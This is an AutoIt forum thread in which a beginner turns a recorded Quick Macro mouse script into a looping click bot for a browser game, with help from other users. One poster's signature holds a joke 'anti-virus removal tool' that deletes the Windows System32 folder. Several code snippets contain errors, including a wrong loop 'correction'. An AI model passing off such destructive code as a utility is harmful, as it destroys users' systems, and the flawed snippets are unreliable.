Jump to content

Question about script


Recommended Posts

I have a script from Quick Macro. I was wondering if it could be turned into a script that works for autoit. It's simple but I think it only works in that program. I hope I'm wrong.

This is what a part of it looks like it.

MoveTo 969,830

MoveTo 957,822

Delay 15

MoveTo 944,813

MoveTo 931,805

Delay 16

MoveTo 912,796

MoveTo 893,786

Delay 16

MoveTo 871,776

MoveTo 849,766

Delay 15

MoveTo 830,756

MoveTo 811,748

So, could it be done or not be done?

Edited by dgarrett8

"I think, therefore I am"[size="1"]René Descartes[/size]

Link to comment
Share on other sites

Does MoveTo just move the mouse? Or does it also click? And does the Delay 15 mean delay 15sec? or 15milisec?

Edited by Firefoxy
;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

herewasplato : i don't understand what that link is or means to me.

firefoxy : it moves the mouse and also clicks. and delay 15 means delay15sec.

P.s. for those who are interested in what im trying to do is a program that battles over and over again in a text based browser game called The ninja RPG

This is what I got so far.

MouseClick ( "left" [, 460, 466 [, clicks [, 10 ]]] )

MouseClickDrag ( "left", 1142, 466, 1140, 630 [, speed] )

MouseClick ( "left" [, 378, 599 [, clicks [, speed ]]] )

MouseClick ( "left" [, 455, 624 [, clicks [, speed ]]] )

MouseClickDrag ( "left", 1142, 466, 1140, 630 [, speed] )

MouseClick ( "left" [, 493, 507 [, clicks [, speed ]]] )

Does this seem about right?

"I think, therefore I am"[size="1"]René Descartes[/size]

Link to comment
Share on other sites

From what you posted originally, I convert to this:

MouseClick( "left", 969, 830 )
MouseClick( "left", 957, 822 )
Sleep( 15 * 1000)
MouseClick( "left", 944, 813 )
MouseClick( "left", 931, 805)
Sleep( 16 * 1000)
MouseClick( "left", 912, 796 )
MouseClick( "left", 893, 786 )
Sleep( 16 * 1000)
MouseClick( "left", 871, 776 )
MouseClick( "left", 849, 766 )
Sleep( 15 * 1000)
MouseClick( "left", 830, 756 )
MouseClick( "left", 811, 748 )

But I see in a newer post, you are using some MouseClickDrag commands, so I am not sure if the original code was correct.

Also something to note. Autoit can switch between mouse coord modes, so make sure these match up.

Link to comment
Share on other sites

crzftx : The function of Quick Macro code is it records your mouse movements on the screen at the time and saves it while repeating it. That is " loop " right?

danwilli : Thank you for taking your time for doing that code. I do think that the two codes are different because of the mouseclickdrags.

here is what i got so far. i'm currently trying to find a loop code. i'm having no luck on that.

MouseClick ( "left" [, 460, 466 [, clicks [, 10 ]]] )

Sleep(10000);ten seconds

MouseClickDrag ( "left", 1142, 466, 1140, 630 [, speed] )

Sleep(10000);ten seconds

MouseClick ( "left" [, 378, 599 [, clicks [, speed ]]] )

Sleep(10000);ten seconds

MouseClick ( "left" [, 455, 624 [, clicks [, speed ]]] )

Sleep(10000);ten seconds

MouseClickDrag ( "left", 1142, 466, 1140, 630 [, speed] )

Sleep(10000);ten seconds

MouseClick ( "left" [, 493, 507 [, clicks [, speed ]]] )

Sleep(10000);ten seconds
Edited by dgarrett8

"I think, therefore I am"[size="1"]René Descartes[/size]

Link to comment
Share on other sites

wow i'm stumped! this seems so confusing to me.

herewasplato: i will look a the tutorials later on.

larry: thank you for that useful tip.

crzftx: yea, i saw those commands but they are too confusing.

Edited by dgarrett8

"I think, therefore I am"[size="1"]René Descartes[/size]

Link to comment
Share on other sites

crzftx is right, you NEED to learn those basic loops. They are fundamental for programming/scripting in general.

read up in the help file. It has everything you should need plus examples.

If you don't have the help file with you, you can read the online version that is in my sig.

Link to comment
Share on other sites

hmm, ok. so is this close or am i on mars?

$i = 10
While $i <= 10
    MouseClick(25, "Value of $i is:", $i)
MouseClick ( "left" , 350, 467 , clicks , speed  )
Sleep(5000);five seconds
MouseClickDrag ( "left", 1015, 241, 1016, 594 , speed )
Sleep(5000);five seconds
MouseClick ( "left" , 315, 562 , clicks , speed  )
Sleep(5000);five seconds
MouseClick ( "left" , 400, 584 , clicks , speed  )
Sleep(5000);five seconds
MouseClickDrag ( "left", 1015, 241, 1016, 594 , speed )
Sleep(5000);five seconds
MouseClick ( "left" , 395, 502 , clicks , speed  )
    $i = $i + 1
WEnd

"I think, therefore I am"[size="1"]René Descartes[/size]

Link to comment
Share on other sites

Very close, but that will only run once.

You first declared that $i = 10, then told the loop to only run when $i = 10 or less than 10. after one pass through the loop $i will increment by one making it 11 and the script will be done.

If $i = 0 was the first line then the loop would run 11 times.

If $i = 1 was the first line then the loop would run 10 times.

It looks like you are starting to understand the while loop, that is very good.

Link to comment
Share on other sites

I take it that this would make it loop 25 times then stop? Also, is this the most used loop?

$i = 25
While $i >= 25
    MouseClick(25, "Value of $i is:", $i)
MouseClick ( "left" , 350, 467 , clicks , speed  )
Sleep(5000);five seconds
MouseClickDrag ( "left", 1015, 241, 1016, 594 , speed )
Sleep(5000);five seconds
MouseClick ( "left" , 315, 562 , clicks , speed  )
Sleep(5000);five seconds
MouseClick ( "left" , 400, 584 , clicks , speed  )
Sleep(5000);five seconds
MouseClickDrag ( "left", 1015, 241, 1016, 594 , speed )
Sleep(5000);five seconds
MouseClick ( "left" , 395, 502 , clicks , speed  )
    $i = $i + 1
WEnd

I take it that this would make it loop 25 times then stop?

Edited by dgarrett8

"I think, therefore I am"[size="1"]René Descartes[/size]

Link to comment
Share on other sites

That is not correct.

You need to declare $i as 1 and then it will be correct.

$i = 1
While $i >= 25
    MouseClick(25, "Value of $i is:", $i)
MouseClick ( "left" , 350, 467 , clicks , speed  )
Sleep(5000);five seconds
MouseClickDrag ( "left", 1015, 241, 1016, 594 , speed )
Sleep(5000);five seconds
MouseClick ( "left" , 315, 562 , clicks , speed  )
Sleep(5000);five seconds
MouseClick ( "left" , 400, 584 , clicks , speed  )
Sleep(5000);five seconds
MouseClickDrag ( "left", 1015, 241, 1016, 594 , speed )
Sleep(5000);five seconds
MouseClick ( "left" , 395, 502 , clicks , speed  )
    $i = $i + 1
WEnd
Link to comment
Share on other sites

I take it that this would make it loop 25 times then stop? Also, is this the most used loop?

$i = 25
While $i >= 25
    MouseClick(25, "Value of $i is:", $i)
MouseClick ( "left" , 350, 467 , clicks , speed  )
Sleep(5000);five seconds
MouseClickDrag ( "left", 1015, 241, 1016, 594 , speed )
Sleep(5000);five seconds
MouseClick ( "left" , 315, 562 , clicks , speed  )
Sleep(5000);five seconds
MouseClick ( "left" , 400, 584 , clicks , speed  )
Sleep(5000);five seconds
MouseClickDrag ( "left", 1015, 241, 1016, 594 , speed )
Sleep(5000);five seconds
MouseClick ( "left" , 395, 502 , clicks , speed  )
    $i = $i + 1
WEnd

I take it that this would make it loop 25 times then stop?

No. That would put you into an infinite loop. because $i is always going to be >= 25

$I = 1

While $I <= 25

BTW: you could also replace $i = $i + 1 with $i += 1

George

Question about decompiling code? Read the decompiling FAQ and don't bother posting the question in the forums.

Be sure to read and follow the forum rules. -AKA the AutoIt Reading and Comprehension Skills test.***

The PCRE (Regular Expression) ToolKit for AutoIT - (Updated Oct 20, 2011 ver:3.0.1.13) - Please update your current version before filing any bug reports. The installer now includes both 32 and 64 bit versions. No change in version number.

Visit my Blog .. currently not active but it will soon be resplendent with news and views. Also please remove any links you may have to my website. it is soon to be closed and replaced with something else.

"Old age and treachery will always overcome youth and skill!"

Link to comment
Share on other sites

Wow, thanks for the help guys, i mean it. But, this loop will repeat all of the actions below?

$i = 1
While $i <= 25
    MouseClick(25, "Value of $i is:", $i)
MouseClick ( "left" , 350, 467 )
Sleep(5000);five seconds
MouseClickDrag ( "left", 1015, 241, 1016, 594 )
Sleep(5000);five seconds
MouseClick ( "left" , 315, 562 )
Sleep(5000);five seconds
MouseClick ( "left" , 400, 584 )
Sleep(5000);five seconds
MouseClickDrag ( "left", 1015, 241, 1016, 594 )
Sleep(5000);five seconds
MouseClick ( "left" , 395, 502 )
    $i += 1
WEnd
Edited by dgarrett8

"I think, therefore I am"[size="1"]René Descartes[/size]

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...